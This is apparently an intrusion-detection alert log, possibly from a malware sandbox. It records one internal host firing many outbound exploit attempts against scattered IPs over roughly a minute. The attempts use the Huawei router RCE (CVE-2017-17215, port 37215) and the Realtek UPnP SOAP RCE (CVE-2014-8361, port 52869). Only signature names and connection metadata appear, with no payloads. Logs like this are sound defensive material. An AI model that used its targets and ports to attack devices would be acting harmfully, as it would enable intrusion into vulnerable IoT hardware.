07/20/24-23:01:08.400738	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39256	37215	192.168.2.13	157.190.82.16
07/20/24-23:01:04.917925	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37074	37215	192.168.2.13	41.24.107.244
07/20/24-23:01:14.523933	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56128	52869	192.168.2.13	97.114.117.29
07/20/24-23:01:27.232388	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52964	37215	192.168.2.13	197.83.128.106
07/20/24-23:01:03.951915	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47020	52869	192.168.2.13	89.116.1.211
07/20/24-23:01:08.435254	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33870	37215	192.168.2.13	157.82.80.76
07/20/24-23:01:27.352785	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35708	52869	192.168.2.13	60.215.234.238
07/20/24-23:01:36.781770	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34390	37215	192.168.2.13	32.86.79.138
07/20/24-23:01:02.678688	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37170	37215	192.168.2.13	197.94.251.61
07/20/24-23:01:14.526400	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53100	52869	192.168.2.13	168.69.38.135
07/20/24-23:01:36.792737	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53742	37215	192.168.2.13	41.16.59.154
07/20/24-23:00:59.062572	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52346	37215	192.168.2.13	41.246.201.30
07/20/24-23:00:59.020552	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32872	37215	192.168.2.13	106.174.68.245
07/20/24-23:01:21.766543	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46788	52869	192.168.2.13	83.171.246.211
07/20/24-23:01:15.000440	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52080	37215	192.168.2.13	41.234.70.164
07/20/24-23:01:12.553660	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45418	37215	192.168.2.13	41.7.165.251
07/20/24-23:01:06.812618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49304	37215	192.168.2.13	41.140.44.33
07/20/24-23:01:32.248799	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35022	37215	192.168.2.13	157.198.177.151
07/20/24-23:01:14.556193	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59432	52869	192.168.2.13	60.17.2.252
07/20/24-23:01:06.798257	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51316	37215	192.168.2.13	111.24.156.226
07/20/24-23:00:59.021109	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32816	37215	192.168.2.13	41.4.10.141
07/20/24-23:01:22.739029	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51600	37215	192.168.2.13	41.197.238.94
07/20/24-23:01:03.923104	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41794	52869	192.168.2.13	31.175.187.129
07/20/24-23:01:14.509824	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53960	52869	192.168.2.13	81.71.223.221
07/20/24-23:01:04.908543	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52740	37215	192.168.2.13	41.155.18.221
07/20/24-23:01:14.566461	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58728	52869	192.168.2.13	216.194.176.131
07/20/24-23:01:07.544207	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52288	52869	192.168.2.13	84.50.117.185
07/20/24-23:01:04.870311	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53446	37215	192.168.2.13	41.17.157.164
07/20/24-23:01:04.879348	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40814	37215	192.168.2.13	197.12.169.82
07/20/24-23:00:59.021890	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54514	37215	192.168.2.13	41.150.243.200
07/20/24-23:00:59.023733	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54504	37215	192.168.2.13	203.131.164.121
07/20/24-23:01:14.533279	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54722	52869	192.168.2.13	99.172.148.31
07/20/24-23:01:05.766789	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55584	52869	192.168.2.13	77.182.150.37
07/20/24-23:01:05.772057	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58380	52869	192.168.2.13	191.214.228.151
07/20/24-23:01:19.205364	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50712	52869	192.168.2.13	212.178.98.236
07/20/24-23:01:14.508164	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49210	52869	192.168.2.13	160.241.202.23
07/20/24-23:01:06.005329	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52282	52869	192.168.2.13	47.21.202.187
07/20/24-23:01:14.505885	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45476	52869	192.168.2.13	90.220.208.134
07/20/24-23:01:27.297470	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33350	37215	192.168.2.13	178.41.195.47
07/20/24-23:01:25.409691	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54966	37215	192.168.2.13	157.83.17.109
07/20/24-23:01:02.685657	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52828	37215	192.168.2.13	197.245.177.60
07/20/24-23:01:12.484346	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52828	37215	192.168.2.13	39.73.21.88
07/20/24-23:01:06.800702	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60336	37215	192.168.2.13	126.40.131.27
07/20/24-23:01:27.277398	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60406	37215	192.168.2.13	41.116.5.26
07/20/24-23:01:14.523933	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44084	52869	192.168.2.13	197.160.210.166
07/20/24-23:00:59.022704	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52206	37215	192.168.2.13	157.132.248.230
07/20/24-23:01:22.744419	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44212	37215	192.168.2.13	74.43.158.18
07/20/24-23:01:04.864677	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49350	37215	192.168.2.13	41.180.196.49
07/20/24-23:01:32.259331	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47720	37215	192.168.2.13	45.132.200.204
07/20/24-23:01:06.798722	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47320	37215	192.168.2.13	41.145.162.190
07/20/24-23:01:36.781139	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33604	37215	192.168.2.13	157.225.133.190
07/20/24-23:01:06.184025	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51074	52869	192.168.2.13	221.82.215.87
07/20/24-23:01:32.257456	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52436	37215	192.168.2.13	157.117.196.250
07/20/24-23:01:22.834271	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50902	37215	192.168.2.13	197.232.39.94
07/20/24-23:00:59.019716	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39322	37215	192.168.2.13	197.234.38.242
07/20/24-23:01:02.661070	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40374	37215	192.168.2.13	197.186.137.146
07/20/24-23:01:22.743882	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57064	37215	192.168.2.13	41.177.88.164
07/20/24-23:01:27.263646	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46940	37215	192.168.2.13	197.8.247.80
07/20/24-23:01:02.607576	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34900	37215	192.168.2.13	147.21.178.207
07/20/24-23:01:06.635348	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45350	52869	192.168.2.13	148.242.181.53
07/20/24-23:01:19.619749	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58820	52869	192.168.2.13	194.111.111.55
07/20/24-23:01:04.572286	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46442	52869	192.168.2.13	80.226.91.150
07/20/24-23:01:02.624280	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36402	37215	192.168.2.13	157.122.230.247
07/20/24-23:01:27.361992	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37780	52869	192.168.2.13	97.62.197.167
07/20/24-23:01:20.606081	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37082	52869	192.168.2.13	97.62.197.167
07/20/24-23:01:07.314840	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56284	52869	192.168.2.13	128.199.8.22
07/20/24-23:01:27.363404	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41376	52869	192.168.2.13	165.167.242.189
07/20/24-23:01:02.620832	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46610	37215	192.168.2.13	221.202.160.22
07/20/24-23:01:06.801053	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33110	37215	192.168.2.13	54.44.221.107
07/20/24-23:01:32.250506	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52458	37215	192.168.2.13	41.66.129.3
07/20/24-23:00:59.019793	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57984	37215	192.168.2.13	157.154.83.107
07/20/24-23:01:06.801053	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51832	37215	192.168.2.13	41.162.222.24
07/20/24-23:01:32.276800	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55486	37215	192.168.2.13	157.84.70.7
07/20/24-23:01:32.250505	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54084	37215	192.168.2.13	197.18.146.223
07/20/24-23:01:14.544045	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40044	52869	192.168.2.13	47.14.186.72
07/20/24-23:01:12.502954	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40250	37215	192.168.2.13	197.106.151.46
07/20/24-23:01:14.536803	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50872	52869	192.168.2.13	82.166.201.81
07/20/24-23:01:06.240012	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38692	52869	192.168.2.13	121.104.50.97
07/20/24-23:01:06.813789	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54582	37215	192.168.2.13	197.191.13.46
07/20/24-23:01:14.558193	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41956	52869	192.168.2.13	158.90.117.175
07/20/24-23:01:32.271087	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57672	37215	192.168.2.13	41.73.230.152
07/20/24-23:01:02.682054	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33042	37215	192.168.2.13	197.218.185.44
07/20/24-23:01:27.232388	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58268	37215	192.168.2.13	157.36.109.153
07/20/24-23:01:02.607205	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51226	37215	192.168.2.13	202.117.135.95
07/20/24-23:01:12.487419	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33420	37215	192.168.2.13	197.137.39.153
07/20/24-23:01:17.779183	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34892	37215	192.168.2.13	193.190.14.156
07/20/24-23:01:05.614910	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47088	52869	192.168.2.13	213.249.133.80
07/20/24-23:01:14.533681	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46118	52869	192.168.2.13	186.203.154.108
07/20/24-23:01:36.781870	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45298	37215	192.168.2.13	197.174.174.141
07/20/24-23:01:27.355018	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36084	52869	192.168.2.13	189.108.39.158
07/20/24-23:01:14.570907	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57200	52869	192.168.2.13	58.234.199.253
07/20/24-23:01:04.523323	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46358	52869	192.168.2.13	13.164.169.253
07/20/24-23:01:02.607205	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45408	37215	192.168.2.13	41.59.60.215
07/20/24-23:01:36.781770	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44366	37215	192.168.2.13	41.61.199.60
07/20/24-23:01:12.483293	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45996	37215	192.168.2.13	188.92.142.69
07/20/24-23:01:05.785643	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47268	52869	192.168.2.13	199.255.47.208
07/20/24-23:01:27.357903	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54542	52869	192.168.2.13	64.157.100.230
07/20/24-23:01:36.796105	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45400	37215	192.168.2.13	41.239.252.49
07/20/24-23:01:02.601732	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34612	37215	192.168.2.13	197.189.139.115
07/20/24-23:01:08.392180	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41662	37215	192.168.2.13	41.80.65.90
07/20/24-23:01:32.271087	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45618	37215	192.168.2.13	197.191.183.76
07/20/24-23:01:17.788569	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52000	37215	192.168.2.13	70.153.147.86
07/20/24-23:01:32.257456	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45282	37215	192.168.2.13	157.22.249.40
07/20/24-23:01:05.538156	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33962	52869	192.168.2.13	23.86.160.85
07/20/24-23:01:21.756931	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38410	52869	192.168.2.13	128.42.37.53
07/20/24-23:01:12.358593	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33712	37215	192.168.2.13	41.240.54.248
07/20/24-23:01:02.699257	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59636	37215	192.168.2.13	199.7.187.18
07/20/24-23:01:32.276800	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38840	37215	192.168.2.13	157.107.197.136
07/20/24-23:01:06.552086	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57588	52869	192.168.2.13	54.236.238.51
07/20/24-23:01:06.806393	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41260	37215	192.168.2.13	201.100.90.58
07/20/24-23:01:08.368788	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36502	37215	192.168.2.13	157.94.222.191
07/20/24-23:01:25.417465	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53258	37215	192.168.2.13	197.243.39.68
07/20/24-23:01:12.504870	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60776	37215	192.168.2.13	197.86.180.158
07/20/24-23:01:06.844628	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36270	52869	192.168.2.13	172.54.67.32
07/20/24-23:01:14.517250	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52164	52869	192.168.2.13	77.222.205.40
07/20/24-23:01:12.357339	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38964	37215	192.168.2.13	60.252.188.181
07/20/24-23:02:06.044957	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39468	52869	192.168.2.13	82.38.244.59
07/20/24-23:01:04.893876	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48956	37215	192.168.2.13	157.185.246.104
07/20/24-23:01:06.813789	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53234	37215	192.168.2.13	157.63.109.5
07/20/24-23:00:59.020493	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44818	37215	192.168.2.13	197.145.183.59
07/20/24-23:01:04.879348	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34120	37215	192.168.2.13	197.113.144.11
07/20/24-23:01:06.258361	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37992	52869	192.168.2.13	111.37.65.174
07/20/24-23:01:27.283164	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47548	37215	192.168.2.13	85.98.144.38
07/20/24-23:01:25.413015	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60734	37215	192.168.2.13	197.139.111.126
07/20/24-23:01:27.276711	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41438	37215	192.168.2.13	157.247.96.44
07/20/24-23:01:07.348663	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50388	52869	192.168.2.13	219.208.149.193
07/20/24-23:01:12.357074	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43458	37215	192.168.2.13	41.61.28.16
07/20/24-23:01:04.918465	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36642	37215	192.168.2.13	197.210.219.94
07/20/24-23:01:06.907572	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43360	52869	192.168.2.13	188.74.101.140
07/20/24-23:01:07.498874	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57608	52869	192.168.2.13	119.98.5.56
07/20/24-23:01:25.391568	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40308	37215	192.168.2.13	158.244.218.71
07/20/24-23:01:15.006697	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44854	37215	192.168.2.13	197.32.140.175
07/20/24-23:01:07.200827	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50080	52869	192.168.2.13	78.8.181.144
07/20/24-23:01:06.799605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34454	37215	192.168.2.13	120.164.160.29
07/20/24-23:00:59.022603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52932	37215	192.168.2.13	197.185.241.200
07/20/24-23:01:20.497462	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45004	52869	192.168.2.13	207.192.171.160
07/20/24-23:01:14.551639	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55898	52869	192.168.2.13	13.146.164.210
07/20/24-23:01:27.358599	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57136	52869	192.168.2.13	124.217.207.199
07/20/24-23:01:04.635097	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59404	52869	192.168.2.13	53.242.30.163
07/20/24-23:01:12.358593	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60566	37215	192.168.2.13	197.92.32.174
07/20/24-23:01:22.737560	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38314	37215	192.168.2.13	41.6.210.49
07/20/24-23:00:59.020131	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37720	37215	192.168.2.13	41.17.9.128
07/20/24-23:01:02.612616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37480	37215	192.168.2.13	157.252.104.249
07/20/24-23:01:12.502954	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45644	37215	192.168.2.13	197.114.230.33
07/20/24-23:01:22.819749	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49508	37215	192.168.2.13	157.73.12.212
07/20/24-23:01:14.512728	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33862	52869	192.168.2.13	223.161.169.143
07/20/24-23:00:59.056488	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55454	37215	192.168.2.13	157.52.27.4
07/20/24-23:01:02.601732	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40544	37215	192.168.2.13	197.206.115.125
07/20/24-23:01:08.447448	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48954	37215	192.168.2.13	41.221.35.218
07/20/24-23:01:06.801053	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38374	37215	192.168.2.13	197.205.39.3
07/20/24-23:01:22.737281	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33404	37215	192.168.2.13	41.137.247.5
07/20/24-23:01:04.855996	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37016	37215	192.168.2.13	197.53.114.4
07/20/24-23:01:25.397771	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46758	37215	192.168.2.13	197.229.86.59
07/20/24-23:01:06.447731	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37352	52869	192.168.2.13	13.5.180.251
07/20/24-23:01:04.848636	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60118	37215	192.168.2.13	197.22.144.135
07/20/24-23:01:03.948227	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54540	52869	192.168.2.13	163.209.94.25
07/20/24-23:01:08.447448	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44456	37215	192.168.2.13	157.42.214.177
07/20/24-23:01:14.544045	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40624	52869	192.168.2.13	20.106.107.244
07/20/24-23:01:04.918465	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37876	37215	192.168.2.13	197.193.80.89
07/20/24-23:01:22.746527	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54510	37215	192.168.2.13	197.22.219.167
07/20/24-23:01:12.360354	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34352	37215	192.168.2.13	41.60.250.173
07/20/24-23:01:25.391568	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38386	37215	192.168.2.13	41.95.222.18
07/20/24-23:01:36.781139	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38624	37215	192.168.2.13	41.48.21.58
07/20/24-23:01:36.855169	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53926	37215	192.168.2.13	197.31.42.197
07/20/24-23:01:04.981879	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41528	52869	192.168.2.13	87.22.11.17
07/20/24-23:01:02.685656	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38806	37215	192.168.2.13	204.12.39.60
07/20/24-23:01:20.388966	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60206	52869	192.168.2.13	181.177.254.25
07/20/24-23:01:25.397771	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49922	37215	192.168.2.13	197.246.25.39
07/20/24-23:01:27.354009	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48224	52869	192.168.2.13	152.52.101.23
07/20/24-23:01:06.332005	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53400	52869	192.168.2.13	44.173.173.82
07/20/24-23:01:14.507784	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39452	52869	192.168.2.13	91.73.86.81
07/20/24-23:01:04.908543	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39118	37215	192.168.2.13	157.71.160.191
07/20/24-23:01:14.569004	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60566	52869	192.168.2.13	57.53.68.209
07/20/24-23:01:36.793382	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50196	37215	192.168.2.13	157.205.180.21
